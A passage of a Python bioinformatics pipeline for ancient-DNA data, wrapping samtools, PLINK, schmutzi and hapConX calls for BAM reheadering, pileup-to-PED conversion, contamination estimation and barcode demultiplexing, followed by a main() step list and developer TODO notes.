's/SN:\"  + beforeXYM.split(\",\")[1] + \"/SN:\" + afterXYM.split(\",\")[1] + \"/' -e 's/SN:\"  + beforeXYM.split(\",\")[2] + \"/SN:\" + afterXYM.split(\",\")[2] + \"/' | samtools reheader - \" + i + \" > \" + sample_id + suffix + \".bam\")\n            os.system(\"samtools view -H \" + i + \" | sed -e 's/SN:\" + before122 + \"/SN:\" + after122 + \"/' -e 's/SN:\" + beforeXYM.split(\",\")[0] + \"/SN:\" + afterXYM.split(\",\")[0] + \"/' -e 's/SN:\"  + beforeXYM.split(\",\")[1] + \"/SN:\" + afterXYM.split(\",\")[1] + \"/' -e 's/SN:\"  + beforeXYM.split(\",\")[2] + \"/SN:\" + afterXYM.split(\",\")[2] + \"/' | samtools reheader - \" + i + \" > \" + sample_id + suffix + \".bam\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools view -H \" + i + \" | sed -e 's/SN:\" + before122 + \"/SN:\" + after122 + \"/' -e 's/SN:\" + beforeXYM.split(\",\")[0] + \"/SN:\" + afterXYM.split(\",\")[0] + \"/' -e 's/SN:\"  + beforeXYM.split(\",\")[1] + \"/SN:\" + afterXYM.split(\",\")[1] + \"/' -e 's/SN:\"  + beforeXYM.split(\",\")[2] + \"/SN:\" + afterXYM.split(\",\")[2] + \"/' | samtools reheader - \" + i + \" > \" + sample_id + suffix + \".bam\")\n\n            print(\"samtools index \" + sample_id + suffix + \".bam\")\n            os.system(\"samtools index \" + sample_id + suffix + \".bam\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools index \" + sample_id + suffix + \".bam\")\n\n#sed -e 's/SN:\\([0-9XY]\\)/SN:chr\\1/' -e 's/SN:MT/SN:chrM/' \n#\" | sed -e 's/SN:\" + before122 + \"/SN:\" + after122 + \"/' -e 's/SN:\" + beforeXYM.split()[0] + \"/SN:\" + afterXYM.split()[0] + \"/' -e 's/SN:\"  + beforeXYM.split()[1] + \"/SN:\" + afterXYM.split()[1] + \"/' -e 's/SN:\"  + beforeXYM.split()[2] + \"/SN:\" + afterXYM.split()[2] + \"/' | samtools reheader - \" + i + \" > \" + sample_id + suffix + \".bam\"\n\n\ndef pileupCaller(referenceGenome, posListBed, bamExtension = \".q30.rmdup.bam\", minBQ = 30, minMQ = 30):\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< PILEUPER - Generate pileup from BAM files >\")\n    fout.write(\"\\n< PILEUPER - Generate pileup from BAM files >\\n\")\n\n    for i in os.listdir(cwd):\n        if re.search((bamExtension+'$'), i) != None:\n            print('\\t> Gathering pileup information for: ', i)\n            fout.write('\\t> Gathering pileup information for: ' + i + \"\\n\")\n            sample_id, sep = i.split(bamExtension)\n            print(\"samtools mpileup -Q \" + str(minBQ) + \" -q \" + str(minMQ) + \" -B -f \" + referenceGenome + \" -l \" + posListBed + \" \" + i + \" > \" + sample_id + \".pileupsamtools.txt\")\n            os.system(\"samtools mpileup -Q \" + str(minBQ) + \" -q \" + str(minMQ) + \" -B -f \" + referenceGenome + \" -l \" + posListBed + \" \" + i + \" > \" + sample_id + \".pileupsamtools.txt\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools mpileup -Q \" + str(minBQ) + \" -q \" + str(minMQ) + \" -B -f \" + referenceGenome + \" -l \" + posListBed + \" \" + i + \" > \" + sample_id + \".pileupsamtools.txt\")\n\ndef pileup2ped(mapList, toBed = True, exclTerminals = False):\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< PILEUP2PED - Generate pseudo-haploid PLINK files from pileup >\")\n    fout.write(\"\\n< PILEUP2PED - Generate pseudo-haploid PLINK files from pileup >\\n\")\n\n    for i in os.listdir(cwd):\n        if '.pileupsamtools.txt' == i[-19:]:\n            if os.path.getsize(i) > 0:\n                sample_id, rest = re.split('.pileupsamtools.txt', i)\n\n                print(\"awk '{print $1\" + '\"-\"' + \"$2}' \" + i + \" > temporary1\")\n                os.system(\"awk '{print $1\" + '\"-\"' + \"$2}' \" + i + \" > temporary1\")\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"awk '{print $1\" + '\"-\"' + \"$2}' \" + i + \" > temporary1\")\n\n                print(\"awk '{print $1\" + '\"-\"' + \"$4}' \" + mapList + \" | grep -n -x -w -F -f temporary1 | awk '{split($0, array, \" + '\":\"' + \"); print(array[1]) }' | awk 'FNR==NR{a[$1];next}FNR in a' - \" + mapList + \" > \" + sample_id + \".map\")\n                os.system(\"awk '{print $1\" + '\"-\"' + \"$4}' \" + mapList + \" | grep -n -x -w -F -f temporary1 | awk '{split($0, array, \" + '\":\"' + \"); print(array[1]) }' | awk 'FNR==NR{a[$1];next}FNR in a' - \" + mapList + \" > \" + sample_id + \".map\")\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"awk '{print $1\" + '\"-\"' + \"$4}' \" + mapList + \" | grep -n -x -w -F -f temporary1 | awk '{split($0, array, \" + '\":\"' + \"); print(array[1]) }' | awk 'FNR==NR{a[$1];next}FNR in a' - \" + mapList + \" > \" + sample_id + \".map\")\n                os.remove(\"temporary1\")\n\n                pedout = open(sample_id + '.ped', 'w')\n                pileupin = open(i, 'r')     \n                snpcount, discar = re.split(' ', os.popen('wc -l ' + i).read())\n                snpcount = int(snpcount)\n                pedout.write(sample_id + ' ' + sample_id + ' 0 0 0 1 ')\n                pileupin = open(i, 'r')\n                counter = 1\n                countbads = 0\n                for line in pileupin:\n                    if counter <= snpcount:\n                        line = line.rstrip()\n                        if line.split(\"\\t\")[3] == \"0\":\n                                pedout.write('0 0 ')\n                                countbads += 1\n                        else:\n                            chro, coord, refb, cov, rbase, qual = line.split('\\t')\n                            counter += 1\n                            rbase = rbase.replace(\".\",refb.capitalize())\n                            rbase = rbase.replace(\",\",refb.capitalize())\n                            if int(cov) == 1:\n                                if r\"*\" in rbase or r\"+\" in rbase or r\"-\" in rbase:\n                                    pedout.write('0 0 ')\n                                elif r\"$\" in rbase:\n                                    rbase = rbase[0]\n                                    if exclTerminals == True: \n                                        pedout.write('0 0 ')\n                                    else:\n                                        pedout.write(rbase.capitalize() + ' ' + rbase.capitalize() + ' ')\n\n                                elif r\"^\" in rbase:\n                                    rbase = rbase[2]\n                                    if exclTerminals == True:\n                                        pedout.write('0 0 ')\n                                    else:\n                                        pedout.write(rbase.capitalize() + ' ' + rbase.capitalize() + ' ')\n                                else:\n                                    pedout.write(rbase.capitalize() + ' ' + rbase.capitalize() + ' ')\n                            \n                            ## If there is more than one call for this position\n                            elif int(cov) > 1:\n                                listBases = list(rbase)\n                                ## Remove indels\n                                while r\"-\" in listBases:\n                                    for i in listBases:\n                                        if i == r\"-\":\n                                            indexi = listBases.index(r\"-\")\n                                            delL = listBases[indexi+1]\n                                            del listBases[indexi:(indexi+int(delL)+2)] # delete indel annotation\n                                            del listBases[indexi-1] # delete indel\n                                while r\"+\" in listBases:\n                                    for i in listBases:\n                                        if i == r\"+\":\n                                            indexi = listBases.index(r\"+\")\n                                            delL = listBases[indexi+1]\n                                            del listBases[indexi:(indexi+int(delL)+2)] # delete indel annotation\n                                            del listBases[indexi-1] # delete indel\n\n                                ## Remove start and end of read calls is requested (^ and $)\n                                while r\"^\" in listBases:\n                                    for i in listBases:\n                                        if i == r\"^\":\n                                            indexi = listBases.index(r\"^\")\n                                            del listBases[indexi] # delete ^\n                                            del listBases[indexi] # delete the base quality after the ^\n                                            if exclTerminals == True:\n                                                del listBases[indexi] # delete the actual variant \n                                while r\"$\" in listBases:\n                                    for i in listBases:\n                                        if i == r\"$\":\n                                            indexi = listBases.index(r\"$\")\n                                            del listBases[indexi] # delete $\n                                            if exclTerminals == True:\n                                                del listBases[indexi-1] # delete the actual variant \n\n                                if len(listBases) != 0:\n                                    chosenbase = random.choice(listBases)\n                                    pedout.write(chosenbase.capitalize() + ' ' + chosenbase.capitalize() + ' ')\n                                else:\n                                    countbads += 1\n                                    pedout.write('0 0 ')\n                    else:\n                        pass\n                pedout.close()\n\n                if toBed == True:\n                    print(\"plink --file \" + sample_id + \" --make-bed --out \" + sample_id + \" --allow-no-sex --keep-allele-order\")\n                    os.system(\"plink --file \" + sample_id + \" --make-bed --out \" + sample_id + \" --allow-no-sex --keep-allele-order\")\n                    fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"plink --file \" + sample_id + \" --make-bed --out \" + sample_id + \" --allow-no-sex --keep-allele-order\")\n                    os.remove(sample_id + \".ped\")\n                    os.remove(sample_id + \".map\")\n\n\ndef schmutzi(referenceMTgenome, schmutziFolder, threads = 4, bamExtension = \".q30.rmdup.bam\"):\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< SCHMUTZI - Estimate contamination using schmutzi >\")\n    fout.write(\"\\n< SCHMUTZI - Estimate contamination using schmutzi >\\n\")\n\n    for i in os.listdir(cwd):\n        if re.search(bamExtension + \"$\", i) != None:\n            print('\\t> Estimating contamination using schmutzi for file: ', i)\n            fout.write('\\t> Estimating contamination using schmutzi for file: ' + i + \"\\n\")\n            sample_id, sep = i.split(bamExtension)\n\n            print(\"samtools calmd -b \" + i + \" \" + referenceMTgenome + \" > \" + sample_id + \"_MD\" + bamExtension)\n            os.system(\"samtools calmd -b \" + i + \" \" + referenceMTgenome + \" > \" + sample_id + \"_MD\" + bamExtension)\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools calmd -b \" + i + \" \" + referenceMTgenome + \" > \" + sample_id + \"_MD\" + bamExtension)\n                \n            print(\"samtools index \" + sample_id + \"_MD\" + bamExtension)\n            os.system(\"samtools index \" + sample_id + \"_MD\" + bamExtension)\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools index \" + sample_id + \"_MD\" + bamExtension)\n                \n            print(\"contDeam.pl --uselength --library double --out \" + sample_id + \"_MD \" + referenceMTgenome + \" \" + sample_id + \"_MD\" + bamExtension)\n            os.system(\"contDeam.pl --uselength --library double --out \" + sample_id + \"_MD \" + referenceMTgenome + \" \" +sample_id + \"_MD\" + bamExtension)\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"contDeam.pl --uselength --library double --out \" + sample_id + \"_MD\" + referenceMTgenome + \" \" + sample_id + \"_MD\" + bamExtension)\n\n            print(\"schmutzi.pl --notusepredC --t \" + str(threads) + \" --ref \" + referenceMTgenome + \" --out \" + sample_id + \"_MD_npred \" + sample_id + \"_MD\" + schmutziFolder + \"/alleleFreqMT/eurasian/freqs/ \" + sample_id + \"_MD\" + bamExtension)\n            os.system(\"schmutzi.pl --notusepredC --t \" + str(threads) + \" --ref \" + referenceMTgenome + \" --out \" + sample_id + \"_MD_npred \" + sample_id + \"_MD\" + schmutziFolder + \"/alleleFreqMT/eurasian/freqs/ \" + sample_id + \"_MD\" + bamExtension)\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"schmutzi.pl --notusepredC --t \" + str(threads) + \" --ref \" + referenceMTgenome + \" --out \" + sample_id + \"_MD_npred \" + sample_id + \"_MD\" + schmutziFolder + \"/alleleFreqMT/eurasian/freqs/ \" + sample_id + \"_MD\" + bamExtension)\n\n            print(\"schmutzi.pl --t \" + str(threads) + \" --ref \" + referenceMTgenome + \" --out \" + sample_id + \"_MD_npred \" + sample_id + \"_MD \" + schmutziFolder + \"/alleleFreqMT/eurasian/freqs/ \" + sample_id + \"_MD\" + bamExtension)\n            os.system(\"schmutzi.pl --t \" + str(threads) + \" --ref \" + referenceMTgenome + \" --out \" + sample_id + \"_MD_npred \" + sample_id + \"_MD \" + schmutziFolder + \"/alleleFreqMT/eurasian/freqs/ \" + sample_id + \"_MD\" + bamExtension)\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"schmutzi.pl --t \" + str(threads) + \" --ref \" + referenceMTgenome + \" --out \" + sample_id + \"_MD_npred \" + sample_id + \"_MD \" + schmutziFolder + \"/alleleFreqMT/eurasian/freqs/ \" + sample_id + \"_MD\" + bamExtension)\n\ndef hapConX(hapROHfolder = \"~/Software/hapROH/\", minMapQ = 30, minBaseQ = 30, bamExtension = \".q30.rmdup_reheader.bam\"):\n    os.chdir(originalWD)\n    from os import path\n    cwd = os.getcwd()\n    print(\"\\n< HAPCONX - Estimate contamination using hapConX >\")\n    fout.write(\"\\n< HAPCONX - Estimate contamination using hapConX >\\n\")\n\n    summaryOut = open('HapConX_Results.txt', 'w')\n    summaryOut.write(\"Sample\\tContamination\\t95pc_CI\\tSNPs_Used\\tCompiled\\n\")\n    for i in os.listdir(cwd):\n        if re.search(bamExtension + \"$\", i) != None:\n            print('\\t> Estimating contamination using hapConX for file: ', i)\n            fout.write('\\t> Estimating contamination using hapConX for file: ' + i + \"\\n\")\n            sample_id, sep = i.split(bamExtension)\n\n            print(\"samtools mpileup --positions \" + hapROHfolder + \"hapCon_supportFiles/chrX_1000G.bed\" + \" -r X -q \" + str(minMapQ) + \" -Q \" + str(minBaseQ) + \" -o \" + sample_id + \".mpileup \" + i)\n            os.system(\"samtools mpileup --positions \" + hapROHfolder + \"hapCon_supportFiles/chrX_1000G.bed\" + \" -r X -q \" + str(minMapQ) + \" -Q \" + str(minBaseQ) + \" -o \" + sample_id + \".mpileup \" + i)\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools mpileup --positions \" + hapROHfolder + \"hapCon_supportFiles/chrX_1000G.bed\" + \" -r X -q \" + str(minMapQ) + \" -Q \" + str(minBaseQ) + \" -o \" + sample_id + \".mpileup \" + i)\n                \n            print(\"python3 \" + hapROHfolder + \"/bam/hapCONX.py -m \" + sample_id + \".mpileup -r \" + hapROHfolder + \"hapCon_supportFiles/chrX_1000G.hdf5 --meta \" + hapROHfolder + \"hapCon_supportFiles/meta_df_all.csv\")\n            os.system(\"python3 \" + hapROHfolder + \"/bam/hapCONX.py -m \" + sample_id + \".mpileup -r \" + hapROHfolder + \"hapCon_supportFiles/chrX_1000G.hdf5 --meta \" + hapROHfolder + \"hapCon_supportFiles/meta_df_all.csv\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"python3 \" + hapROHfolder + \"/bam/hapCONX.py -m \" + sample_id + \".mpileup -r \" + hapROHfolder + \"hapCon_supportFiles/chrX_1000G.hdf5 --meta \" + hapROHfolder + \"hapCon_supportFiles/meta_df_all.csv\")\n\n            if path.exists(sample_id + \".hapCon.txt\") == True:\n                hapConFileIn = open(sample_id + \".hapCon.txt\", 'r')\n                snpsHapCon = hapConFileIn.readline().split(\" \")[10].rstrip()\n                hapConFileIn.readline()\n                hapConFileIn.readline()\n                lastL = hapConFileIn.readline()\n                contamHapCon, confId = lastL.split(\" \")[5].rstrip(), \"(\" + lastL.split(\"(\")[1].rstrip()\n                compi = contamHapCon + \" \" + confId + \" - \" + snpsHapCon\n                #print(snpsHapCon)\n                #print(contamHapCon)\n                #print(confId)\n                #print(compi)\n                summaryOut.write(sample_id + \"\\t\" + contamHapCon + \"\\t\" + confId + \"\\t\" + snpsHapCon + \"\\t\" + compi + \"\\n\")\n                \n    summaryOut.close()\n\n\n            #for line in pileupin:\n            #    if counter <= snpcount:\n            #        line = line.rstrip()\n            #        if line.split(\"\\t\")[3] == \"0\":\n\n\ndef bamDemux(inBam,sampleList):\n    \"\"\"\n    BAM demultiplexing. P7 is barcode1 (bc), P5 is barcode2 (b2) reverse-complemented.\n\n    Input:\n    Foo.bam\n\n    Output:\n    Sample1.fastq\n    Sample2.fastq\n\n    :param inBam:\n    (str)   String with input BAM file.\n\n    :param sampleList:\n    (str)   Tab-spaced list of samples and indices in the following order: Sample\\tP7\\tP5reverse-complemented\n    \"\"\"\n\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< DEMUXQ - Demultiplexing BAM into individual sample files >\")\n    fout.write(\"\\n< DEMUXQ - Demultiplexing BAM into individual sample files >\")\n\n    sampIn = open(sampleList, 'r')\n    sampDict = {}\n\n    \n\n#    if(len(sampIn.readline().split(\"\\t\"))) == 2:\n#        sampIn.seek(0)\n#\n#        for line in sampIn:\n#            if str.split(line)[0] in sampDict.values():\n#                print(\"\\t> ERROR: Found duplicated index \",str.split(line)[0])\n#                print(\"\\t> Please ensure all index sequences are unique. Quitting now...\")\n#                quit()\n#\n#            if str.split(line)[1] in sampDict.keys():\n#                print(\"\\t> ERROR: Found duplicated sample \",str.split(line)[1])\n#                print(\"\\t> Please ensure all sample names are unique. Quitting now...\")\n#                quit()\n#            else:\n#                sampDict[str.split(line)[1]] = str.split(line)[0]\n    print(len(sampIn.readline().split(\"\\t\")))\n    print(sampDict)\n\n    if len(sampIn.readline().split(\"\\t\")) == 3:\n        sampIn.seek(0)\n\n        print(\"AAAAA\")\n\n        for line in sampIn:\n            if str.split(line)[0] in sampDict.values():\n                print(\"\\t> ERROR: Found duplicated index \",str.split(line)[0])\n                print(\"\\t> Please ensure all index sequences are unique. Quitting now...\")\n                quit()\n\n            if str.split(line)[1] in sampDict.keys():\n                print(\"\\t> ERROR: Found duplicated sample \",str.split(line)[1])\n                print(\"\\t> Please ensure all sample names are unique. Quitting now...\")\n                quit()\n            else:\n                sampDict[str.split(line)[1]+\"\\\\\\+\"+str.split(line)[2]] = str.split(line)[0]\n\n    sampIn.close()\n    sampList=list(sampDict.keys())\n\n    ## Check for previous files and delete them\n    #lnum = inBam.split(\"L00\")[1][0]\n    #for i in sampList:\n    #    for items in os.listdir(cwd):\n    #        if sampDict[i] in items:\n    #            try:\n    #                os.remove(items)\n    #            except:\n    #                pass\n    #try:\n    #    os.remove(\"Unindexed_S0_\" + \"L00\" + lnum + \"_R1_001.fastq\")\n    #except:\n    #    pass\n\n    ## Create results-related dicts\n    sampNum = {}\n    seqa = 1\n    for i in sampDict.keys():\n        sampNum[i] = seqa\n        seqa += 1\n\n    sampFinds = {}\n    for i in sampDict.keys():\n        sampFinds[i] = 0\n    countUndet = 0\n\n    ## Iterate over the BAM file\n    print(sampDict)\n    \n    for onekey in sampDict.keys():\n        print(onekey)\n        print(onekey.split(\"\\\\\\\\+\")[0])\n        print(sampDict[onekey])\n        \n        #print(aaah)\n\n        print(\"/home/dfernandes/Software/samtools-1.15/installfolder/bin/samtools view -@ 6 -d BC:\" + onekey.split(\"\\\\\\\\+\")[0] + \"ATCTCG \" + inBam + \" -o \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_P7.bam\")\n        os.system(\"/home/dfernandes/Software/samtools-1.15/installfolder/bin/samtools view -@ 6 -d BC:\" + onekey.split(\"\\\\\\\\+\")[0] + \"ATCTCG \" + inBam + \" -o \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_P7.bam\")\n\n        print(\"/home/dfernandes/Software/samtools-1.15/installfolder/bin/samtools view -@ 6 -d B2:\" + onekey.split(\"\\\\\\\\+\")[1] + \"GTGTAG \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_P7.bam\" + \" -o \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_L001_R1_001.bam\")\n        os.system(\"/home/dfernandes/Software/samtools-1.15/installfolder/bin/samtools view -@ 6 -d B2:\" + onekey.split(\"\\\\\\\\+\")[1] + \"GTGTAG \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_P7.bam\" + \" -o \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_L001_R1_001.bam\")\n        \n        print(\"bedtools bamtofastq -i \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_L001_R1_001.bam\" + \" -fq \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_L001_R1_001.fastq\")\n        os.system(\"bedtools bamtofastq -i \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_L001_R1_001.bam\" + \" -fq \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_L001_R1_001.fastq\")\n\n        print(\"nohup gzip \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_L001_R1_001.fastq\")\n        os.system(\"nohup gzip \" + str(sampDict[onekey]) + \"_S\" + str(sampNum[onekey]) + \"_L001_R1_001.fastq\")\n\n\ndef main():\n    output('Output', 'NextSeq', \"singleEnd\")  ##Must run. ALWAYS\n\n    ## SELECT NOW THE DESIRED FUNCTIONS TO RUN, BY (UN)COMMENTING THEM\n\n        ## Reference Genome Handling\n    # chrConcat('/home/dfernandes/NGSdata/Indexes/chroms_hg19', overwrite=True, mtChrAtEnd=True)#, deleteFaFiles=True) ##Path must be inside quotation marks. Please check 'help(chrConcat)' for more information\n    # makeIndexGenome('/home/dfernandes/NGSdata/Script_projects/small_edits/Cavelana500.fasta', bwa=True, samtools=True, gatkpicard=True, overwrite=True)  ##Path must be inside quotation marks. Please check 'help(makeIndexGenome)' for more information.\n\n        ## FASTQ Handling\n    # fastqdemux(\"Mar22aaaaa_S0_L001_R1_001.fastq\", \"barcodes_list_revComp5\", mismatch=0)\n    #bamDemux(\"HFFF5DRX2_2_20220630B_20220701.bam\", \"indeces_missingSample_199641-2\")\n    # concatenateFQGZ()\n\n        ## Sequencing Data Alignment Pipeline\n    #fastqcAnalysis()\n    #cutadapt(nThreads=8)\n    #trimFastq(3)\n    #bwaAlign(ref_gen='/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa',nThreads=8, overwrite=True)\n    #tagAndConvertSb(ref_gen='/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa',group_tag=\"Osor-SPetar\",qualThreshold=30)\n    #samToolsSort(version=\"1.3.1\")\n    #fastqcBeforeRmdup()\n    #rmvDups(picard=False)\n    #makeIndexBam()\n    #mapdamage('/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa',stats = False)\n    # rescaleMapDamage('/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa')\n    #fastqcAfterRmdup()\n\n        ## Sexing Assessment\n    #idxstats()\n    sexing()\n    #sexingEJ(single_out=True, st_out=True)\n\n        ## Haplogroup Assessment\n    #mtDNAphymer('/home/dfernandes/Software/phy-mer-master/PhyloTree_b16_k12.txt')\n    # Yfitter('/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa', '/home/dfernandes/Software/YFitter_v0.2/karafet_sites_b37_tab','/home/dfernandes/Software/YFitter_v0.2/karafet_tree_b37',mergeLanes = True)\n    # yleaf(refPath='/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa',refVersion='hg19')\n\n        ## Contamination Assessment\n    #angsd_contamination(\".q30.rmdup.bam\",\"R\")\n    # calico(refLoc=\"/home/dfernandes/Software/calico_0.2/human.0.95.consensus.fasta\",calLoc=\"/home/dfernandes/Software/calico_0.2/calico.0.2.py\", qualThreshold=30,multipleLanes=False)  # Possibly fixed?\n    #schmutzi(referenceMTgenome = \"/home/dfernandes/NGSdata/Indexes/rCRS/rCRS.fasta\", schmutziFolder = \"/home/dfernandes/Software/schmutzi/\", threads = 8, bamExtension = \".q30.rmdup.bam\")\n    #changeBamChrNotation(before122 = \"chr\", after122 = \"\", beforeXYM = \"X,Y,M\", afterXYM = \"X,Y,MT\",suffix = \"_reheader\")\n    #hapConX() #Requires reheader BAMs without \"chr\" in notation\n\n        ## Summary Tests\n    #coverage(contigFileLocation=\"/home/dfernandes/NGSdata/Indexes/chroms_hg19/contigs.txt\")\n    #readlengths()\n\n        ## End Analysis (Compile Data)\n    #end_analysis()\n    # mergedEnd_Analysis()\n\n        ## BAM Editing\n    # reorderBAM(\"/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa\",\".q30.rmdup.bam\",True)\n    # editHeaderBAMbatch(extensionBAM=\".q30.rmdup.bam\",RGid=\"Houtaomuga\",rename=True)\n    #changeBamChrNotation(before122 = \"chr\", after122 = \"\", beforeXYM = \"X,Y,M\", afterXYM = \"23,24,M\",suffix = \"_reheader\")\n\n        ## BAM Handling and Analysis\n    # subsampling(0.25,5, forSexing=False)\n    # extract_reads_pos(6, 396320, 396323)\n    # extract_reads_seq(\"CTCGCTGAACCGGATCGATGTGTACTGAGATCCCCTATCCGTATGGTGGATAACGTCTTTCAGGTCGAGTACGCCTTCTTGTTGGC\", 0.4, 1, oneFile=\"ARA1%_R1_001.trimmed.fastq\")\n    # hirisplex_lct(\"/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa\")\n    # mergeBamsBatch(qualThreshold=30, remSourceFiles = False)\n    # mergeBams(sample_id=\"Thingy\", qualThreshold=25, version=\"1.3.1\")  ##Sample_id AND files to merge cannot have the word \"merged\" on them, because that breaks the script\n    #pca_lc('/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa', '/home/dfernandes/NGSdata/Datasets/laz16/lowResPCA', '/home/dfernandes/NGSdata/Datasets/laz16/lowResPCA/dataPP.bim', '/home/dfernandes/NGSdata/Datasets/laz16/lowResPCA/laz16PPmap.list', indexGen=False, makepileup=True, minNumReadsPileup = 15000, makeped=True, pedfamily=\"SP\", makemap=True, conv2bin=True, mergeIt=False, reduceDSsnp=False, genoPlink=0.1, reduceDSind=False, popList=\"/home/dfernandes/NGSdata/Datasets/laz16/lowResPCA/EU_Modern_Pops\", PCAparamFile=True, plot=\"/home/dfernandes/NGSdata/Datasets/laz16/Populations_Laz16_IE_GR_PL_orig.csv\")#, useJava8=True)\n    #pca_lc('/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa', '/home/dfernandes/NGSdata/Datasets/genocalling/1240k_genocalling', '/home/dfernandes/NGSdata/Datasets/genocalling/1240k_genocalling/1240K.bim', '/home/dfernandes/NGSdata/Datasets/genocalling/1240k_genocalling/1240K_chrNums_chrXY.bim.list', indexGen=False, makepileup=True, minNumReadsPileup = 15000, makeped=True, pedfamily=\"Romito\", makemap=True, conv2bin=True, mergeIt=False, reduceDSsnp=False, genoPlink=0.1, reduceDSind=False, popList=\"/home/dfernandes/NGSdata/Datasets/laz16/lowResPCA/EU_Modern_Pops\", PCAparamFile=True, plot=\"/home/dfernandes/NGSdata/Datasets/laz16/Populations_Laz16_IE_GR_PL_orig.csv\")#, useJava8=True)\n    # admix(2,12,reorder=FALSE)\n    # admix2(2,13, multithread_cores=8,input_file=\"Laz16ALLPolarizeEIG1200KAutosomesOrdered\")\n    # admix3(k_num=3,reps=10,multithread_cores=8,input_file=\"Laz16ALLPolarizeEIG1200KAutosomesOrdered\")\n    # imputeWithBeagle(curateRefPanel=True,bcftoolsNthreads=1)\n    # batchBAMtoFASTQ(picard = True)\n    #pileupCaller(bamExtension = \".q30.rmdup_reheader.bam\", minBQ = 30, minMQ = 30, referenceGenome = '/home/dfernandes/NGSdata/Indexes/chroms_hg19_nochr/full_karyo.fa', posListBed = \"/home/dfernandes/NGSdata/Indexes/200kwien/200kwienNoChr.bed\") #\"/home/dfernandes/NGSdata/Indexes/chroms_hg19/hirisplexs.bed\"\n    #pileup2ped(mapList = \"/home/dfernandes/NGSdata/Indexes/200kwien/200K_noChr.map\", exclTerminals = False)\n    # hirisplexs(\"/home/dfernandes/NGSdata/Indexes/chroms_hg19_nochr/full_karyo.fa\")\n\n        ## Varied Experiments\n    # damageRestrict(samIn=\"C3.q30.rmdup.bam\",refGenome=\"/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa\")\n    # CpGdamage()\n    # transFst(bimFile=\"Yoruba.bim\")\n    # blastnQuery(queryLink=\"ftp://ftp.ncbi.nlm.nih.gov/refseq/release/vertebrate_mammalian/\")\n    # moveFilesBatch(byExtension = \"q30.rmdup.bam/q30.rmdup.bam.bai\", bySample = \"AC/EC/GNT/SCH\", copy = True, singleFolder=False)\n\n    exit()\n\n\nif __name__ == \"__main__\":\n    main()\n\n# 12, 6643657, 6647536 - should be unmethylated/damaged\n# 6, 25726291, 25726790 - should be methylated/damaged\n# 6, 25727137, 25727573  - should be methylated/damaged\n\n# \"q30\\.rmdup\\.bam/q30\\.rmdup\\.bam\\.bai\"\n# \"AC/EC/GNT/SCH\"\n\n# TODO:\n# PRIORITY: For single-threaded steps, add argument asking how many parallel commands to run. Will significantly improve speed\n# Try to make a quicker mapdamage graph with my own script, based on CpGdamage/damageRestrict\n# Problems with directory changing in end_analysis because of mtDNA or pca_lc. Fix with \"originalWD\" as global variable\n# Add readlength averages and stdv in end_analysis\n# Put error check for sexingEJ as it gives no error if there is no bar.chr.txt\n# Check on output() if picard (or any other JAVA software can be called directly or need \"java -jar location/file.jar\"\n# bwaAlign does not recognize seqtk files if trimBam creates them right before it. Only recognizes if seqtk files already exist when \"output()\" runs\n# No command sor any output for trimBam\n\n\n\n# NEXTSEQ problems:\n# Summary stats do not work\n# sample_ids are not correctly called in end_analysis function (probably source of all problems)\n","sub_path":"NGS_analysis_v0.872_fixedXYkaryotyper.py","file_name":"NGS_analysis_v0.872_fixedXYkaryotyper.py","file_ext":"py","file_size_in_byte":298428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
